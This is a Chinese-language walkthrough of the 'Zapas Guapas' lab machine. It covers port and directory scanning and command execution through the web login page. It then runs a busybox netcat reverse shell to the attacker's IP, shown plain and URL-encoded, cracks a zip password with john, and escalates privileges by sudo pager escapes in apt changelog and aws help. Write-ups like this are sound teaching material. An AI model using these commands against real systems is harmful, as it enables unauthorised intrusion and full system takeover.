Zapas Guapas

image

信息搜集

192.168.43.167

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
┌──(root㉿Eecho)-[~]
└─# rustscan -a 192.168.43.167 -- -A
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: Making sure 'closed' isn't just a state of mind.

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 192.168.43.167:22
Open 192.168.43.167:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.43.167
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-21 17:13 +0800
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 17:13
Completed NSE at 17:13, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 17:13
Completed NSE at 17:13, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 17:13
Completed NSE at 17:13, 0.00s elapsed
Initiating ARP Ping Scan at 17:13
Scanning 192.168.43.167 [1 port]
Completed ARP Ping Scan at 17:13, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:13
Completed Parallel DNS resolution of 1 host. at 17:13, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 17:13
Scanning 192.168.43.167 [2 ports]
Discovered open port 22/tcp on 192.168.43.167
Discovered open port 80/tcp on 192.168.43.167
Completed SYN Stealth Scan at 17:13, 0.02s elapsed (2 total ports)
Initiating Service scan at 17:13
Scanning 2 services on 192.168.43.167
Completed Service scan at 17:13, 6.02s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against 192.168.43.167
NSE: Script scanning 192.168.43.167.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 17:13
Completed NSE at 17:13, 0.26s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 17:13
Completed NSE at 17:13, 0.01s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 17:13
Completed NSE at 17:13, 0.00s elapsed
Nmap scan report for 192.168.43.167
Host is up, received arp-response (0.00063s latency).
Scanned at 2026-05-21 17:13:14 CST for 8s

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 7e:42:d0:d4:c9:36:f4:f8:e6:77:c2:c6:7e:25:dc:ff (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCNtVluoiY6ZuAKACUyXF2aWn6CwNbFat1gO8HsLHUy/FTFFu3dReslLk6MF229xfVw0B4/DK9115slid83YXsg=
| 256 6f:a0:50:44:9f:a2:fb:99:40:f3:90:af:56:cc:34:e3 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEDEt40ciB70mDvw9Yi9KrvYynNia3oropbWI1lKwzAX
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-title: Zapasguapas
MAC Address: 08:00:27:28:60:FA (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=5/21%OT=22%CT=%CU=31588%PV=Y%DS=1%DC=D%G=N%M=080027%TM
OS:=6A0ECCB2%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=109%TI=Z%CI=Z%II=I%
OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5
OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=
OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%
OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0
OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S
OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R
OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N
OS:%T=40%CD=S)

Uptime guess: 3.249 days (since Mon May 18 11:14:22 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.63 ms 192.168.43.167

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 17:13
Completed NSE at 17:13, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 17:13
Completed NSE at 17:13, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 17:13
Completed NSE at 17:13, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.42 seconds
Raw packets sent: 25 (1.894KB) | Rcvd: 17 (1.366KB)
  • 22 SSH
  • 80 HTTP

目录扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
┌──(root㉿Eecho)-[~]
└─# gobuster dir -u http://192.168.43.167/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,back,cgi,jpg,json,md
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.43.167/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Extensions: jpg,json,md,php,txt,html,back,cgi
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
images (Status: 301) [Size: 317] [--> http://192.168.43.167/images/]
index.html (Status: 200) [Size: 14085]
contact.html (Status: 200) [Size: 7694]
about.html (Status: 200) [Size: 8764]
login.html (Status: 200) [Size: 2090]
bin (Status: 301) [Size: 314] [--> http://192.168.43.167/bin/]
css (Status: 301) [Size: 314] [--> http://192.168.43.167/css/]
lib (Status: 301) [Size: 314] [--> http://192.168.43.167/lib/]
js (Status: 301) [Size: 313] [--> http://192.168.43.167/js/]
javascript (Status: 301) [Size: 321] [--> http://192.168.43.167/javascript/]
include (Status: 301) [Size: 318] [--> http://192.168.43.167/include/]
testimonial.html (Status: 200) [Size: 8587]
nike.php (Status: 200) [Size: 2362]
fondo.jpg (Status: 200) [Size: 331401]
server-status (Status: 403) [Size: 279]
Progress: 1985022 / 1985022 (100.00%)
===============================================================
Finished
===============================================================

有个login.html

查看源码可以发现能执行rce

image

burpsuite抓包方便执行命令

image

反弹shell

1
2
3
busybox nc 192.168.43.6 7777 -e sh
url编码过的
%62%75%73%79%62%6f%78%20%6e%63%20%31%39%32%2e%31%36%38%2e%34%33%2e%36%20%37%37%37%37%20%2d%65%20%73%68

image

提权

www -> pronike

在/home/pronike/下nota.txt文件给出了提示

1
2
www-data@zapasguapas:/home/pronike$ cat nota.txt
Creo que proadidas esta detras del robo de mi contraseña

翻一下就是 我认为普罗阿迪萨是这次盗取我密码的幕后黑手。

/opt目录下有importante.zip压缩包,但是需要密码

1
2
3
4
5
6
7
8
9
10
11
www-data@zapasguapas:/home/proadidas$ cd /opt/
www-data@zapasguapas:/opt$ ls
importante.zip
www-data@zapasguapas:/opt$ ls -al
total 12
drwxr-xr-x 2 root root 4096 Apr 23 2024 .
drwxr-xr-x 18 root root 4096 Apr 15 2024 ..
-rw-r--r-- 1 proadidas proadidas 266 Apr 23 2024 importante.zip
www-data@zapasguapas:/opt$ unzip importante.zip
Archive: importante.zip
[importante.zip] password.txt password:

get到本地爆破一下

1
2
3
4
5
6
7
8
9
www-data@zapasguapas:/opt$ scp importante.zip root@192.168.43.6:/tmp/bbbb
The authenticity of host '192.168.43.6 (192.168.43.6)' can't be established.
ED25519 key fingerprint is SHA256:ZyUbPteDlhKgfFR102PGhJUWNS++vR62HchhPFY2Cfw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/var/www/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
root@192.168.43.6's password:
importante.zip

使用zip2john导出hash并使用john爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# zip2john importante.zip > zip_hash.txt
ver 2.0 efh 5455 efh 7875 importante.zip/password.txt PKZIP Encr: TS_chk, cmplen=76, decmplen=71, crc=9CB8F6B5 ts=4C4E cs=4c4e type=8
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# ls
importante.zip zip_hash.txt
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt zip_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 24 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
hotstuff (importante.zip/password.txt)
1g 0:00:00:00 DONE (2026-05-21 17:38) 50.00g/s 2457Kp/s 2457Kc/s 2457KC/s 123456..trudy
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

成功获取到密码,解压出来

1
2
3
4
5
6
7
8
9
10
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# unzip importante.zip
Archive: importante.zip
[importante.zip] password.txt password:
inflating: password.txt
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# cat password.txt
He conseguido la contraseña de pronike. Adidas FOREVER!!!!

pronike11

得到了pronike用户的凭证

横向移动到pronike用户

1
2
3
4
www-data@zapasguapas:/opt$ su pronike
Password:
pronike@zapasguapas:/opt$

pronike -> proadidas

1
2
3
4
5
6
pronike@zapasguapas:~$ sudo -l
Matching Defaults entries for pronike on zapasguapas:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User pronike may run the following commands on zapasguapas:
(proadidas) NOPASSWD: /usr/bin/apt

当前的用户可以无需密码(NOPASSWD),以 proadidas 用户的身份运行 /usr/bin/apt 命令

因为 apt 在查看更新日志(changelog)时会调用文本分页器(通常是 less),而分页器允许用户执行系统命令,所以可以利用这一点来获取 proadidas 用户的交互式 Shell。

1
sudo -u proadidas /usr/bin/apt changelog apt

image

1
2
3
4
5
6
pronike@zapasguapas:~$ sudo -u proadidas /usr/bin/apt changelog apt
Des:1 https://metadata.ftp-master.debian.org apt 2.6.1 Changelog [505 kB]
Descargados 505 kB en 3s (164 kB/s)
proadidas@zapasguapas:/home/pronike$ id
uid=1001(proadidas) gid=1001(proadidas) grupos=1001(proadidas)
proadidas@zapasguapas:/home/pronike$

proadidas -> root

1
2
3
4
5
6
7
proadidas@zapasguapas:/home/pronike$ sudo -l
Matching Defaults entries for proadidas on zapasguapas:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User proadidas may run the following commands on zapasguapas:
(proadidas) NOPASSWD: /usr/bin/apt
(root) NOPASSWD: /usr/bin/aws

可以利用aws进行提权

gtfbins上有方案,同样是利用less分页功能来提权 https://gtfobins.org/gtfobins/aws/

image

image

1
2
3
4
proadidas@zapasguapas:/home/pronike$ sudo /usr/bin/aws help
root@zapasguapas:/home/pronike# id
uid=0(root) gid=0(root) grupos=0(root)
root@zapasguapas:/home/pronike#